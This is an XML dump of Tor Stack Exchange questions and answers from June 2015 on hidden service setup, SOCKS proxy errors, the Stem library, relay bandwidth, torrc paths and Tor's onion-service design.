  <row Id="7091" PostTypeId="2" ParentId="7062" CreationDate="2015-06-22T19:40:45.490" Score="1" Body="&lt;p&gt;The fact that Tails and your phones / other devices use the same network does not make a difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your ISP or any adversary &lt;strong&gt;that monitors you&lt;/strong&gt;, will know that you use Tor, but can not decrypt your traffic. &#xA;An adversary &lt;strong&gt;that monitors the site you visit&lt;/strong&gt; will know that someone is using Tor, and if the service is unencrypted, can see the traffic.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-06-22T19:40:45.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7092" PostTypeId="2" ParentId="6632" CreationDate="2015-06-22T19:55:19.640" Score="0" Body="&lt;p&gt;Your bookmarks are not transmitted to a web server in a http request. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know whether they can be queried through java script. (I hope not, but it wouldn't surprise me. Maybe someone who knows this for a fact can comment.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They will, of course, give away your browsing habits to someone with access to your browser. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-06-22T19:55:19.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7094" PostTypeId="2" ParentId="7063" CreationDate="2015-06-22T20:59:16.903" Score="1" Body="&lt;p&gt;To add to the first answer, Tor is self-contained - it isn't &quot;installed&quot; in the way a normal Deb/Ubuntu package is, nor does it have to be built from source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short: put it anywhere you like, or follow the convention you've used for other standalone applications. (Mine's in my &lt;code&gt;home&lt;/code&gt; directory.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-06-22T20:59:16.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7096" PostTypeId="1" CreationDate="2015-06-23T05:11:22.593" Score="1" ViewCount="1155" Body="&lt;p&gt;I just installed tor on a fresh ubuntu box, I've configured the hidden services part of the &lt;code&gt;torrc&lt;/code&gt; file as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 90 127.0.0.1:90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've got apache successfully running on port 90 and have verified it with a web browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I've restarted tor by doing &lt;code&gt;service tor reload&lt;/code&gt; and looked at the log file located at &lt;code&gt;/var/log/tor/log&lt;/code&gt; and these are the results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jun 23 00:48:07.000 [notice] Tor 0.2.4.20 (git-0d50b03673670de6) opening new log file.&#xA;Jun 23 01:02:31.000 [notice] Received reload signal (hup). Reloading config and resetting internal state.&#xA;Jun 23 01:02:31.000 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;Jun 23 01:02:31.000 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Jun 23 01:02:31.000 [notice] Tor 0.2.4.20 (git-0d50b03673670de6) opening log file.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's it. It hasn't said anything else for about 20 minutes. I've navigated to &lt;code&gt;/var/lib/tor/hidden_service/&lt;/code&gt; to verify that it created a private key and a hostname and it did. Not sure what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I did a hard stop on the service and then a hard start, this is what is in the log file now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jun 23 01:28:32.000 [notice] Tor 0.2.4.20 (git-0d50b03673670de6) opening log file.&#xA;Jun 23 01:28:32.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Jun 23 01:28:32.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Jun 23 01:28:32.000 [warn] OpenSSL version from headers does not match the version we're running with. If you get weird crashes, that might be why. (Compiled with 1000105f: OpenSSL 1.0.1e 11 Feb 2013; running with 1000106f: OpenSSL 1.0.1f 6 Jan 2014).&#xA;Jun 23 01:28:32.000 [notice] Bootstrapped 5%: Connecting to directory server.&#xA;Jun 23 01:28:32.000 [notice] We now have enough directory information to build circuits.&#xA;Jun 23 01:28:32.000 [notice] Bootstrapped 80%: Connecting to the Tor network.&#xA;Jun 23 01:28:33.000 [notice] Bootstrapped 85%: Finishing handshake with first hop.&#xA;Jun 23 01:28:34.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.&#xA;Jun 23 01:28:35.000 [warn] Received http status code 404 (&quot;Not found&quot;) from server 'x.x.x.x:9001' while fetching &quot;/tor/keys/fp/27B6B5996C42xxxxA5C95488AA5BCxxxxCC86956&quot;.&#xA;Jun 23 01:28:35.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Jun 23 01:28:35.000 [notice] Bootstrapped 100%: Done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does that 404 mean?&lt;/p&gt;&#xA;" OwnerUserId="7721" LastEditorUserId="7721" LastEditDate="2015-06-23T05:31:15.063" LastActivityDate="2015-06-26T01:01:45.163" Title="Tor hidden service not able to connect" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-01T09:41:26.460" ContentLicense="CC BY-SA 3.0" />
  <row Id="7097" PostTypeId="1" AcceptedAnswerId="7098" CreationDate="2015-06-23T12:56:34.363" Score="3" ViewCount="80" Body="&lt;p&gt;I’m currently working on Roster, a tor project that aims to reward relay operators with good relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the obvious requirements of a good relay (e.g. speed, geo-diversity, constant uptime), what qualities make a relay valuable to the Tor network and its users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this may not have a definite answer, I would appreciate all opinions on the matter.&lt;/p&gt;&#xA;" OwnerUserId="6990" LastActivityDate="2015-06-23T14:57:38.757" Title="Qualities of a good relay (besides the obvious)" Tags="|relays|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7098" PostTypeId="2" ParentId="7097" CreationDate="2015-06-23T14:57:38.757" Score="3" Body="&lt;p&gt;I'll give it a shot:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;consistent fast speed being #1&lt;/li&gt;&#xA;&lt;li&gt;rewards based on total bandwidth available/consumed per period&lt;/li&gt;&#xA;&lt;li&gt;total consistent uptime&lt;/li&gt;&#xA;&lt;li&gt;Identity verification (at least online or via email)&lt;/li&gt;&#xA;&lt;li&gt;Community involvement (member of tor-relays, tor-talk, etc)&lt;/li&gt;&#xA;&lt;li&gt;Number of successful responses to complaints&lt;/li&gt;&#xA;&lt;li&gt;Hosting in a country that the Tor Network needs for geo-diversity&lt;/li&gt;&#xA;&lt;li&gt;bonus for multiple relays properly configured as a family&lt;/li&gt;&#xA;&lt;li&gt;rewards for a more open exit policy (e.g. &lt;em&gt;:&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;running latest version of Tor or how fast the system upgrades&lt;/li&gt;&#xA;&lt;li&gt;running a server following best practices guide checklist (FDE, strong passwords, maintained patch levels, etc)&lt;/li&gt;&#xA;&lt;li&gt;Optional flags (e.g. HSDir, directory mirror)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-23T14:57:38.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7099" PostTypeId="2" ParentId="7055" CreationDate="2015-06-23T20:24:30.663" Score="1" Body="&lt;p&gt;A couple of options.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Have a look at: &lt;a href=&quot;http://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;http://torstatus.blutmagie.de/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you scroll right to the bottom of the page you'll find a box labelled &quot;Aggregate Network Statistic Summary&quot;. In here there's a field for the total number of exit routers. The number of relays is, I believe, in the row showing the total number of routers.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://metrics.torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://metrics.torproject.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You've already linked to this. You'll find it difficult to get exact figures, but the graph you want is the second in the list: &quot;Relays with Exit, Fast, Guard, Stable, and HSDir flags&quot;. The &quot;Running&quot; plot shows all running relays, while the &quot;Exit&quot; plot shows exit nodes.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-06-23T20:24:30.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7100" PostTypeId="2" ParentId="7039" CreationDate="2015-06-23T20:39:52.257" Score="2" Body="&lt;p&gt;The important bit of information from the logs is &lt;code&gt;Network is unreachable [WSAENETUNREACH ]; NOROUTE&lt;/code&gt;. (Second line from the bottom.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of ideas:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Check you can connect to the internet normally (i.e. without using Tor).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're using your cellphone as a hotspot, is your phone connecting to the internet via 3G/4G, or via WiFi? If via WiFi (perhaps in a cafe, or somewhere else where you don't normally use the internet), you might be trying to connect to the internet via an ISP that blocks Tor, in which case you would need to use a Tor bridge.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd check #1 first...&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-06-23T20:39:52.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7101" PostTypeId="1" CreationDate="2015-06-24T05:43:25.037" Score="3" ViewCount="11483" Body="&lt;p&gt;I am proxying traffic over tor, so letter on when I need to call localhost port, it gives failure error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def create_connection(self, address, timeout=None, source_address=None):&#xA;    sock = socks.socksocket()&#xA;    sock.connect(address)&#xA;    return sock&#xA;&#xA;def getVideoTrend(self):&#xA;&#xA;    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, &quot;127.0.0.1&quot;, 9050)&#xA;    socket.socket = socks.socksocket&#xA;    socket.create_connection = self.create_connection&#xA;    #some code&#xA;    Mongo.SaveEntity()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SaveEntity contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hostname = 'localhost'&#xA;port = 27017&#xA;self.client = MongoClient(hostname, port)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  File &quot;radurl.py&quot;, line 110, in getVideoTrend&#xA;    MongoDbOpp().saveEntity(final_result)    &#xA;  File &quot;/root/Documents/scraping/radurls/mongo_operation.py&quot;, line 14, in __init__&#xA;    self.client = MongoClient(hostname, port)&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/pymongo/mongo_client.py&quot;, line 377, in __init__&#xA;    raise ConnectionFailure(str(e))&#xA;pymongo.errors.ConnectionFailure: 0x01: General SOCKS server failure&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I understand the reason behind this error, that mongo attempts to connect to local control port, gets proxied through a tor exit node.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution to this prob?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or I can terminate tor session after before Mongo operation?&lt;/p&gt;&#xA;" OwnerUserId="7565" LastActivityDate="2016-04-13T12:01:59.130" Title="General SOCKS server failure while using tor proxy" Tags="|socks|proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7102" PostTypeId="1" CreationDate="2015-06-24T12:41:28.680" Score="0" ViewCount="127" Body="&lt;p&gt;AttributeError: 'RouterStatusEntryV3' object has no attribute 'measured'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;measured (int) -- bandwidth measured to be available by the relay, this is a unit-less heuristic generated by the Bandwidth authoritites to weight relay selection&#xA;(&lt;a href=&quot;https://stem.torproject.org/api/descriptor/router_status_entry.html#stem.descriptor.router_status_entry.RouterStatusEntry&quot; rel=&quot;nofollow&quot;&gt;https://stem.torproject.org/api/descriptor/router_status_entry.html#stem.descriptor.router_status_entry.RouterStatusEntry&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print TOR_CONTROLLER.get_network_status('e9c8154418544764619d2ccd0596b355d7dff236').measured&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;******&amp;gt;python tor.py&#xA;Jun 25 12:29:25.000 [notice] Bootstrapped 0%: Starting&#xA;Jun 25 12:29:36.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Jun 25 12:29:37.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Jun 25 12:29:38.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Jun 25 12:29:38.000 [notice] Bootstrapped 100%: Done&#xA;&amp;gt;authenticating...&#xA;Traceback (most recent call last):&#xA;  File &quot;tor.py&quot;, line 271, in &amp;lt;module&amp;gt;&#xA;    print     TOR_CONTROLLER.get_network_status('e9c8154418544764619d2ccd0596b355d7d&#xA;ff236').measured&#xA;      File &quot;C:\Anaconda\lib\site-packages\stem\descriptor\__init__.py&quot;, line 611, in&#xA; __getattr__&#xA;    return super(Descriptor, self).__getattribute__(name)&#xA;AttributeError: 'RouterStatusEntryV3' object has no attribute 'measured'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It prints the bandwidth attribute just fine, also the address attribute.&lt;/p&gt;&#xA;" OwnerUserId="7693" LastEditorUserId="7693" LastEditDate="2015-06-25T16:34:18.847" LastActivityDate="2015-08-24T18:31:17.457" Title="RouterStatusEntryV3 doesn't have members it should have...?" Tags="|exit-relays|error|stem|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7105" PostTypeId="2" ParentId="7058" CreationDate="2015-06-24T19:47:30.563" Score="1" Body="&lt;p&gt;In that scenario, the service is not really &lt;em&gt;hidden&lt;/em&gt;, as it would probably be easy to figure out that the clearnet site and the hidden service are the same. It is accessible through Tor as a .onion address, so people can visit your site anonymously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can turn any web server into a hidden service. Or rather: you can point a Tor HS at any web server. You don't even have to host the web server yourself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just set up a web site anywhere. Then run a Tor with a HiddenServicePort that points to your web site. Your Tor may run on the same host as your web server but it doesn't need to.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-06-24T19:47:30.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7106" PostTypeId="1" CreationDate="2015-06-24T22:56:02.563" Score="3" ViewCount="1272" Body="&lt;p&gt;I use tor browser for Gmail and Google+ account since April. It used to works good, but I have to switch on JavaScripts, of course. Gmail chat used to works good, but since today or yesterday Google changed chats to hangouts. I have to log to Google one time more for chats, but if I log in, chats still are not aviable (exit IP is the same like exit node to Gmail, and activity on Gmail shows log in from firefox and sometimes from mobile). I have heard too -  that Google talk (not only with Tor but normal too) do not work anymore. I have tried it with &quot;Allow scripts globally&quot; but it was with the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Tor browser for windows, which was downloaded from torproject.org (with latest actualization).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have find similar question, but in this time Google chat works good. It stop work today or yesterday.&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/6268/i-cannot-log-in-in-hangout-when-using-tor-browser&quot;&gt;I cannot log-in, in hangout when using Tor Browser&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7738" LastActivityDate="2015-07-07T06:44:04.707" Title="Tor browser and Google hangouts" Tags="|tor-browser-bundle|browsers|google|chat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7107" PostTypeId="2" ParentId="7106" CreationDate="2015-06-25T14:23:37.327" Score="2" Body="&lt;p&gt;The first thing to do - if it doesn't compromise you in any way - is to check these things work without Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Google Talk client on Windows is no longer supported - it's &lt;strong&gt;not&lt;/strong&gt; a problem with Tor.&#xA;&quot;&lt;em&gt;As of February 2015, the Windows client ceased to work...&lt;/em&gt;&quot; (Wikipedia)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to the old Google &quot;Chat&quot; interface in Gmail, this has moved over to Hangouts, as you've noticed. I don't believe there has been a changed in the protocols used underneath, so this should still work. (Also, if you want the original, old-style chat interface back, you can have it: &lt;a href=&quot;http://www.fastcodesign.com/3047772/how-to-turn-off-google-hangouts-in-gmail&quot; rel=&quot;nofollow&quot;&gt;http://www.fastcodesign.com/3047772/how-to-turn-off-google-hangouts-in-gmail&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-06-25T14:23:37.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7108" PostTypeId="2" ParentId="7102" CreationDate="2015-06-25T15:19:03.653" Score="1" Body="&lt;p&gt;Please &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/stem/bugs&quot; rel=&quot;nofollow&quot;&gt;file a ticket&lt;/a&gt; with code and the descriptor that reproduces this. You're right that the RouterStatusEntryV3 class has a measured attribute. First guess is that you might have a RouterStatusEntryV2 instance instead.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-06-25T15:19:03.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7111" PostTypeId="1" AcceptedAnswerId="7112" CreationDate="2015-06-25T23:29:15.453" Score="0" ViewCount="1033" Body="&lt;p&gt;is it possible to set an environment path in windows environment like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;%tor% = &quot;C:\users\user\blah blah\tor&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then configure the torrc file to use this path for Data Directories?&#xA;Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DataDirectory %tor%\Data Directories\Data1\Tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GeoIPFile %tor%\Data Directories\Data1\Tor\geoip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GeoIPv6File %tor%\Data Directories\Data1\Tor\geoip6&lt;/p&gt;&#xA;" OwnerUserId="7462" LastActivityDate="2015-06-26T00:48:10.543" Title="Is it possible to use a windows environment path to configure the torrc file?" Tags="|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7112" PostTypeId="2" ParentId="7111" CreationDate="2015-06-26T00:48:10.543" Score="2" Body="&lt;p&gt;Not currently. Neither the Tor Windows nor Linux version make any calls for environment variables like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unrelated to Tor, developers/admins will sometimes hack around situations similar to this by building flat files off of the environment variables before an application executes. I've only seen these as shims/wrappers and not a long term solution though. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-26T00:48:10.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7113" PostTypeId="2" ParentId="7101" CreationDate="2015-06-26T00:52:36.097" Score="2" Body="&lt;p&gt;While Tor has a builtin SOCKS proxy, it doesn't have common features of a SOCKS proxy like creating rules based on the target host or overriding how to resolve a host. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No you can't turn off Tor from the SOCKS proxy because Tor &lt;em&gt;is&lt;/em&gt; the SOCKS proxy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you'd have to create two separate connections functions, one for localhost that doesn't use a SOCKS proxy and others that use Tor for scraping websites. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-26T00:52:36.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7114" PostTypeId="2" ParentId="7096" CreationDate="2015-06-26T01:01:45.163" Score="0" Body="&lt;p&gt;To run a hidden service takes a bit of time. When you fire up the hidden service for the first time, you need to send your information to (I believe) 6 introduction points along with letting the HSDir authorities know that you exist. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe that the 404 is related to your problem. It refers to a connection attempt to download the keys for a certain fingerprint from a directory authority's web service. But the logs show that a subsequent attempt to connect worked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've waited more than a few hours to try and connect to your hidden service, you can delete the cached files inside of the tor directory to force it to re-download the consensus. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-26T01:01:45.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7115" PostTypeId="1" CreationDate="2015-06-26T15:44:40.233" Score="1" ViewCount="220" Body="&lt;p&gt;I'm using STEM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create custom circuits based on relay information but I'm unable to get reliable relay information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RouterStatusEntryV3.measured which appears to be the heuristic I want is only present in votes, don't know what good that does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am trying to rely on: ServerDescriptor.observed_bandwidth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm starting to think that the figures I get for it are easily manipulated, for example these are all the relays that scored about 30,000,000 for observed_bandwidth:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(u'redjohn', 49539919)&#xA;(u'3cce3a91f6a625', 35733555)&#xA;(u'ReflexZincIodide', 30074192)&#xA;(u'splitDNA', 61044132)&#xA;(u'spfTOR1e1', 33526216)&#xA;(u'bierchengaming', 41275593)&#xA;(u'aurora', 42918130)&#xA;(u'redjohn1', 46646602)&#xA;(u'darkit', 51785012)&#xA;(u'kingara', 39454901)&#xA;(u'AviatoChortler', 31605961)&#xA;(u'PrivacyRepublic0001', 35796370)&#xA;(u'PrivacyRepublic', 37152280)&#xA;(u'PrivacyRepublic0002', 32340142)&#xA;(u'torfoo', 31626087)&#xA;(u'mendes', 38276617)&#xA;(u'ivpn', 39880632)&#xA;(u'impastato', 33078832)&#xA;(u'blurgh', 32762505)&#xA;(u'shifidi', 32420401)&#xA;(u'BeSeeingYou', 37975858)&#xA;(u'chulak', 41998005)&#xA;(u'SGGSUK1', 49636671)&#xA;(u'dorrisdeebrown', 32150565)&#xA;(u'IPredator', 37708096)&#xA;(u'quadhead', 34545546)&#xA;(u'ReflexZincOleate', 30948496)&#xA;(u'SGGSUK4', 31549249)&#xA;(u'SECxFreeBSD64', 30841913)&#xA;(u'esbek1', 32608555)&#xA;(u'TorLand1', 50596734)&#xA;(u'becks', 51748076)&#xA;(u'orion', 39549063)&#xA;(u'destiny', 56923898)&#xA;(u'xshells', 34367620)&#xA;(u'Lule', 37474592)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As best as I can tell, some of those are lies.&#xA;According to TorStatus, the following are lies: splitDNA, aurora, [stopped checking].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what can I trust? I want to be able to form circuits through very well traveled nodes. But it seems like the consensus contains untrusted information? What should I do?&lt;/p&gt;&#xA;" OwnerUserId="7693" LastActivityDate="2015-07-27T22:08:16.800" Title="How do you get legit relay bandwidth ballpark figures?" Tags="|relays|consensus|stem|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7116" PostTypeId="2" ParentId="7072" CreationDate="2015-06-26T16:56:56.917" Score="0" Body="&lt;p&gt;Normally, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing special about a hidden service. It is just a normal (web?)server. It may even be accessible via the clear net. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual 'hidden service' is the Tor instance that points to it. It provides access to the service through the Tor network. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-06-26T16:56:56.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7118" PostTypeId="1" CreationDate="2015-06-26T22:07:05.167" Score="0" ViewCount="207" Body="&lt;p&gt;When I look at the tor channel - the entrance point is always 124.6.36.230 (Great Britain) - even if I ask tor to choose a new channel. I thought the route through tor is randomly selected. But if the entrance point is always the same - how could I be sure that it is not observed?&lt;/p&gt;&#xA;" OwnerUserId="7749" LastEditorUserId="88" LastEditDate="2015-07-01T09:47:24.693" LastActivityDate="2015-07-01T09:47:24.693" Title="Tor entrance point does not change" Tags="|relays|guard|" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-01T09:54:34.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="7119" PostTypeId="1" CreationDate="2015-06-27T03:53:36.543" Score="4" ViewCount="885" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;One of the reasons for not using the introduction circuit for actuall communication is that no single relay should apppear to be responsible for a given hidden service. This is why rendezvous points never learns about the hidden services identity.&lt;br /&gt;&#xA;  &lt;em&gt;from &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/hidden-services.html.en&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This doesn't make sense to me since the location of the different introductory points is published to distributed databases. So naturally, won't said introductory points become tied to the hidden service regardless? Furthermore, if this was such a great concern, couldn't the hidden service simply change its introduction points periodically? Lastly, presumably the circuits that lead from the hidden service to the introductory point must not be static, since there's only a finite amount of relays that can fit the bill to make this possible (stable/high uptime), so if the circuits leading to the introductory point are constantly changing, doesn't that itself hide the hidden service's identity as well as the use of rendezvous point does?&lt;/p&gt;&#xA;" OwnerUserId="7752" LastEditorUserId="88" LastEditDate="2015-07-01T09:45:42.527" LastActivityDate="2015-07-01T09:45:42.527" Title="is the use of both introduction points and rendezvous points redundant?" Tags="|onion-services|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7120" PostTypeId="2" ParentId="6733" CreationDate="2015-06-27T14:33:07.013" Score="1" Body="&lt;p&gt;Logging into accounts associated with your identity is inherently not &lt;em&gt;anonymous&lt;/em&gt;, but Tor will still hide your &lt;em&gt;physical location&lt;/em&gt; (i.e. what internet provider / Wifi hotspot you are using at the time) from the sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you should not mix logins into sites associated with your identity with anonymous browsing in the same Tor Browser session.&lt;/p&gt;&#xA;" OwnerUserId="7754" LastActivityDate="2015-06-27T14:33:07.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7121" PostTypeId="2" ParentId="7119" CreationDate="2015-06-27T21:15:43.800" Score="3" Body="&lt;p&gt;Rendezvous Points(RPs) are responsible for facilitating the actual data transfer between a hidden service and a client and its main goal is to provide a randomized path for communications. The Introduction Points(IPs) on the other hand only facilitate the key material exchange and have a known, stored location. This was designed to address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Performance&lt;/strong&gt;: If an IP was responsible for also exchanging data to the HS, there would be a DoS condition. But as it is, the IP only sends a small amount of data and relies on the vast pool other random nodes for RP creating an attempt at load balancing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security&lt;/strong&gt;: Making the IP responsible for communications AND data transfer would mean that you are hitting the sames circuit path over and over because the IP needs to be long-lived. This makes the HS more likely to be fingerprintable via data correlation attack. Splitting them up means that all communications between a client and a server are randomized making it harder to fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Functionality&lt;/strong&gt;: In the current design, there isn't a way for a HSDir to tell a client how to connect to a hidden service (by design). Therefore to figure out how to connect to a HS, another service would need to provide this and that's why IPs were created. If there was a redesign making the HSDir responsible for facilitating the path to the hidden service, it would make the HSDir very powerful and at increased risk of attack (more than it is now). &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-06-27T21:15:43.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
